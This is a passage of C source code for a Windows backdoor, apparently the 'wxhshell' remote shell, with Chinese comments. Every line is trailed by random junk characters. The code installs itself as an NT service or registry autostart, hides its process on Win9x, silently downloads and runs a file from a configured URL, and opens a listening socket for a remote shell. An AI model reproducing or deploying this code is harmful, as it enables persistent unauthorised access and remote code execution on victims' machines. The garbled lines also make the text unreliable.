} PROCESS_BASIC_INFORMATION; aq"E@fb
rBs7,h
PROCNTQSIP NtQueryInformationProcess; y5?T`ts,#
GSV,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )Y~q6D K
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y<PPO6u7
d T/*O8
HANDLE hProcess; "n
'*_rh>+
PROCESS_BASIC_INFORMATION pbi; G/(oQA
fT._Os?i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mquna"}N
if(NULL == hInst ) return 0; &dvJg
`{I,!to
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
3@$h/xMJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9}X3Q!iFb
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mL+}Ka
Ndi'b_Sh\
if (!NtQueryInformationProcess) return 0; uW;Uq=UN
=B1t?("
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h0n0Dc{4
if(!hProcess) return 0; b7v] g]*
wd*T"V3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5:|5NX[.b
#Vn=(U4}!_
CloseHandle(hProcess); m'k`p5[=h
&g,K5at
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -j3 -H&
if(hProcess==NULL) return 0; L3q)j\ls
bXq,iX
HMODULE hMod; 2 T{PIJg3
char procName[255]; ~'fa,XZ<
unsigned long cbNeeded; BO[Q"g$Kon
UkNC|#l)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H#U{i
aC3\Hs
CloseHandle(hProcess); avO+1<`4B
ABhza|
if(strstr(procName,"services")) return 1; // 以服务启动 DJ}xD&G
xx;'WL,g
return 0; // 注册表启动 qa^x4xZM
} ;~~Oc
T<zonx1
// 主模块 7u5B/M!
int StartWxhshell(LPSTR lpCmdLine) o~P8=1t
{ b{sE#m%r
SOCKET wsl; (]1le|+
BOOL val=TRUE; E\m?0]W|
int port=0; pI(FUoP^
struct sockaddr_in door; >jl"Yr#
r\],5x'xSu
if(wscfg.ws_autoins) Install(); ~R)w
9uq
n4."}DO
port=atoi(lpCmdLine); "G6d'xkP
Bo%M-Gmu
if(port<=0) port=wscfg.ws_port; BqZLqGOKu
vW$]:).
WSADATA data; QH\*l~;B\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^fK8~g;rB
I]SR.Yp%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vA`[#(C
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5tq$SF42X
door.sin_family = AF_INET; MiRH i<g0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); \TMRS(
door.sin_port = htons(port); <S$y=>.9
=j;o,
J:(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,7%(Jj$
^
closesocket(wsl); ;o^m"I\y
return 1; 1}ZBj%z4l
} /4~RlXf@
RB &s$6A
if(listen(wsl,2) == INVALID_SOCKET) { ?!~au0
closesocket(wsl); =:"@YD^a4
return 1; UO:>^,(j
} BM&'3K_y
Wxhshell(wsl); Q ;k_q3
WSACleanup(); +#B%Y K|LR
=?*V3e3{
return 0; 3J,/bgL5
J.?p?-"
} ae!_u
\$
}f-rWe{gs>
// 以NT服务方式启动 7gQt
k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r1?LKoJOn
{ A{+ZXu}
DWORD status = 0; -;~_]t^a
DWORD specificError = 0xfffffff; wkm
SIN:
pu>LC6m3a
serviceStatus.dwServiceType = SERVICE_WIN32; ~Q%QA._R?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; R*&3i$S
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;QEGr|(
serviceStatus.dwWin32ExitCode = 0; -5>g 0o2
serviceStatus.dwServiceSpecificExitCode = 0; T@vVff
serviceStatus.dwCheckPoint = 0; uo%O\}#u9
serviceStatus.dwWaitHint = 0; \pPq]k
T2(+HI2
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]iNSa{G
if (hServiceStatusHandle==0) return; KPO((G0&
lJYv2EZ
status = GetLastError(); \uPT-M*
if (status!=NO_ERROR) 6|jE3rHw
{ Ppp&3h[dW)
serviceStatus.dwCurrentState = SERVICE_STOPPED; &Y#9~$V=
serviceStatus.dwCheckPoint = 0; HE,wEKp
serviceStatus.dwWaitHint = 0; 6)bfd^JYn
serviceStatus.dwWin32ExitCode = status; D3HB`{
serviceStatus.dwServiceSpecificExitCode = specificError;
>=Rb:#UM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jgMWjM6.
return; EhVnt#`Si
} l{pF^?K
Z$hxo)|
serviceStatus.dwCurrentState = SERVICE_RUNNING; U)l>#gf8
serviceStatus.dwCheckPoint = 0; #{?oUg>$
serviceStatus.dwWaitHint = 0; _|Dt6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !EW]:u
}
?PQiVL
0y ;gi3W
// 处理NT服务事件,比如:启动、停止 c`jTdVD
VOID WINAPI NTServiceHandler(DWORD fdwControl) m76]INq
{ g,W#3b6>j
switch(fdwControl) :-
5Mn3*
{ #M>E{w9
case SERVICE_CONTROL_STOP: bQeYFY#^
serviceStatus.dwWin32ExitCode = 0; 0yZw`|Zh[
serviceStatus.dwCurrentState = SERVICE_STOPPED; 34l=U?
serviceStatus.dwCheckPoint = 0; 9q5[W=|
serviceStatus.dwWaitHint = 0; .s9Iymz
{ $fn^i.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4C[gW
} d)AkA\neWo
return; w'eenIX^^
case SERVICE_CONTROL_PAUSE: QMsnfG
serviceStatus.dwCurrentState = SERVICE_PAUSED; EPg?jKZava
break; #nxx\,i>
case SERVICE_CONTROL_CONTINUE: u4nXK
<KL|
serviceStatus.dwCurrentState = SERVICE_RUNNING; xAO]u[J
break; h7w<.zwu
t
case SERVICE_CONTROL_INTERROGATE: U!`'Qw;
break; ]f c:CR
}; q>X:z0H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ lKQ'_
} <;T7qEIlo
@kK=|(OB'
// 标准应用程序主函数 s1FBz)yCY=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *w6N&
{ PDsLJ|:yL
N1-LM9S
// 获取操作系统版本 >@|<1Fx|
OsIsNt=GetOsVer(); -Tt}M#W
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jzj~uz
2#[Y/p
// 从命令行安装 ~@O4>T+VW
if(strpbrk(lpCmdLine,"iI")) Install(); sd6Wmmo
YsDl2P
// 下载执行文件 FSB$D)4z>b
if(wscfg.ws_downexe) { -I*A `M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sDC RL%0QK
WinExec(wscfg.ws_filenam,SW_HIDE); O^:h _L
} X>4`{x `
EpfmH `
if(!OsIsNt) { +!Ltn
// 如果时win9x,隐藏进程并且设置为注册表启动 5a&wM
HideProc(); O
o:jP6r
StartWxhshell(lpCmdLine); #+G2ZJxL|
} ww2Qa-K
else 0_EF7`T
if(StartFromService()) ZL>V9UWN
// 以服务方式启动 Dfo9jYPf
StartServiceCtrlDispatcher(DispatchTable); ^&.?kJM
else ?Sqm`)\>4
// 普通方式启动 QhUraZ
StartWxhshell(lpCmdLine); iQF}x&a<
t;]egk
return 0; (AYS>8O&
}